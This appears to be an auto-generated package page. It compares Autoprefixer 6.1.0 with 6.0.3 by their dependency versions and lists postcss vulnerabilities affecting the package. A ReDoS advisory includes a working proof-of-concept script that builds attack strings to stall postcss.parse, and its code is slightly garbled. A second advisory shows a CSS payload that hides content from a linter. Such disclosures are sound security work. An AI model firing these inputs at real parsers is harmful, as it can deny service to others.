Autoprefixer version 6.1.0 introduces notable updates and refinements compared to its predecessor, version 6.0.3. Both versions serve the purpose of parsing CSS and automatically adding vendor prefixes, ensuring compatibility across different browsers based on data from the "Can I Use" website. A primary difference lies in the updated dependencies. Version 6.1.0 utilizes postcss "^5.0.10" while version 6.0.3 depends on postcss "^5.0.5", which could introduce breaking changes or new functionalities on the core processing of CSS styles. Another important aspect is the update to caniuse-db. Version 6.1.0 uses caniuse-db "^1.0.30000359", a more recent version than the "^1.0.30000313" used by version 6.0.3. This signifies improved accuracy and support for newer CSS features and browser versions. Furthermore, version 6.1.0 updates its browserslist dependency to "~1.0.1" from "~1.0.0." Dependency updates in patch versions for dev dependencies are also present, even if minor. The release dates indicate that version 6.1.0 came out in November 2015, a couple of months after version 6.0.3., possibly including bug fixes that could impact performance or stability for developers implementing autoprefixing. Developers should compare these updated dependencies for potential compatibility issues if upgrading and consider the improved browser support due to the updated caniuse-db.
All the vulnerabilities related to the version 6.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.